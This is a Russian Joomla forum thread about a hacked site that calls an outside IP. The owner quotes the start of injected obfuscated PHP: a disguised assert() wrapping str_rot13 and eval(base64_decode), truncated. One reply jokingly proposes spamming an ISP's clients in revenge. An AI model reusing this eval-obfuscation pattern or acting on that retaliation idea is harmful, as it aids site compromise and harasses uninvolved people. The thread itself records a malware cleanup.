При попытке загрузить индексную страницу сайта происходит обращение к стороннему ресурсу. Как решить - Joomla 3.x: Общие вопросы

Всем доброго времени суток. Столкнулся с такой проблемой: сайт время от времени очень медленно грузится либо ошибку 502 выдает. Сайт: http://oknoptk.ru/ на Joomla 3. В тех поддержке хостинга говорят, что проблема с длительной загрузкой возникает потому, что при попытке загрузить индексную страницу Вашего сайта происходит обращение к стороннему ресурсу 95.181.179.152.
Сторонний ресурс это некто: Neohost.net

Проверка сайта на внешние ссылки ничего толкового не дала. Плагины и модули установлены из проверенных источников и на других сайтах проблем не возникает.

Уважаемые форумчане, подскажите кто, что думает по этому поводу? Как решить проблему?

Смотреть логи

Смотреть логи

Логи тоже ничего путного не дают, нет в них ошибок с указанным IP

Проверка сайта на внешние ссылки ничего толкового не дала.

А jextensions.com - внутренняя ссылка? Она, наверное, не имеет отношения к вопросу, но дает повод усомниться в компетентности проверки.

Логи тоже ничего путного не дают, нет в них ошибок с указанным IP

Почему это должно быть ошибкой?

А jextensions.com - внутренняя ссылка? Она, наверное, не имеет отношения к вопросу, но дает повод усомниться в компетентности проверки.Почему это должно быть ошибкой?

Я знаю куда ведет ссылка jextensions.com и еще одна, которая обнаружена. Поэтому о ней ни чего не написано выше. Тем более удаление расширений с этой ссылкой ничего не дало. Поиск не обнаружил именно ссылку на ID который грузит сайт.
Я далеко не спец в чистке взломанного сайта. Поэтому прошу реальных возможных решений.

Проблема решена путем долгого и мучительного поиска
Может кому пригодится. В некоторые файлы сайта попал вот такой сцуко код:
 ...//###=CACHE START=###
error_reporting(0);
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr ("nJLtXTymp2I0XPEcLaLcXF... и т.д.

Ну он не просто так туда попал. Ищите источник заражения.

вот жуки "onfr64_qrpbqr" - это base64

http://base64.ru/  и вставляем что в кавычках.
расшифровываем, и смотрим пути от кудова лезит.

Вероятно будет что-то типа

$module = 'Magmodules_Shippingperkm';
$module_version = 'Magmodule_Shipkm1053';
$module_path = 'shippingperkm/general/';
$module_server = str_replace('www.', '', $_SERVER['HTTP_HOST']);
$module_installed = Mage::getConfig()->getNode()->modules->Magmodules_Shippingperkm->version;
return base64_encode(base64_encode(base64_encode($module . ';' . $module_version . ';' . $module_installed . ';' . trim(Mage::getModel('core/config_data')->load($module_path . 'license_key', 'path')->getValue()). ';' . $module_server . ';' . Mage::getUrl(). ';' . Mage::getSingleton('admin/session')->getUser()->getEmail(). ';' . Mage::getSingleton('admin/session')->getUser()->getName(). ';' . $_SERVER['SERVER_ADDR'])));

вот жуки "onfr64_qrpbqr" - это base64

http://base64.ru/  и вставляем что в кавычках.
расшифровываем, и смотрим пути от кудова лезит.

Согласно декодеру после расшифровки получается что то типа: ⷫ늫庫
Китайцы мать вашу
Кто нибудь в китайском понимает?...

Народ, ещё вопрос почти что в тему.
Делал больше года назад сайт один: http://kvadra-group.com/
В один ужасный момент его ломанули и навтыкали ссылок на какой то, опять же китайский интернет магазин. Пока Google не маякнул, я не заметил (так как сайт работал в нормальном режиме). Сайт я почистил, Google санкции снял. Но вот проблема, сайт попал в реестр запрещенных... Только на одних провайдераж он открывается без проблем, а на некоторых (какой то "Атлас телеком" например, как раз оказавшийся у клиента) он сцуко не открывается. Тех поддержка этого атласа снимать блокировку отказывается.
Может кто знает как решить проблему? И еще вопрос, у кого какой провайдер, сайт открывается или нет?

Согласно декодеру после расшифровки получается что то типа: ⷫ늫庫

Неправильно наверное декоднули или не в ту сторону.

Тот код что я написал, это из вашего начала, так что должен получиться код php скрипта.

Тех поддержка этого атласа снимать блокировку отказывается.

Спросить у тех.поддержки, что нужно выполнить для снятия санкций. Хотя они могут базу спам сайтов тянуть из другого места и по ней автоматом работать.

Неправильно наверное декоднули или не в ту сторону.

Тот код что я написал, это из вашего начала, так что должен получиться код php скрипта.

Декодировал вот этим http://base64.ru/ Х.з.

Спросить у тех.поддержки, что нужно выполнить для снятия санкций. Хотя они могут базу спам сайтов тянуть из другого места и по ней автоматом работать.

Спрашивал. Они не знают, только отмахиваются, мол не наша проблема.

Тут надо понять кто блокирует.
Если провайдер, и решать задачу не хочет совсем.

То нагадить такому провайдеру полный таз от китайского noname, с предупреждением о санкциях.
Разослав всех им клиетам, страшное письмо, а еще лучше если они занимаются хостингом.
Найти всех клиентов и накакать там! Вони будет огого 

Но лучше искать общий язык, а то можно и нагадить не тому

Тут надо понять кто блокирует.
Если провайдер, и решать задачу не хочет совсем.

То нагадить такому провайдеру полный таз от китайского noname, с предупреждением о санкциях.
Разослав всех им клиетам, страшное письмо, а еще лучше если они занимаются хостингом.
Найти всех клиентов и накакать там! Вони будет огого 

Но лучше искать общий язык, а то можно и нагадить не тому

Провайдер однозначно не хочет решать проблему. Послали и меня, как админа, и клиентов с которыми у них договор заключен. Хостер на котором сайт лежит пошел на встречу, меняют серваки где сайт лежит, ну и IP сайта соответственно. Может поможет. А кто столкнется с провайдером "Атлас телеком", посылайте из в ж...у

Хостер на котором сайт лежит пошел на встречу, меняют серваки где сайт лежит, ну и IP сайта соответственно.

Это конечно решение, но Если провайдер блокирует по IP, т.е если это шарик то провайдер блокирует все хосты из-за одного.
тоды поможет.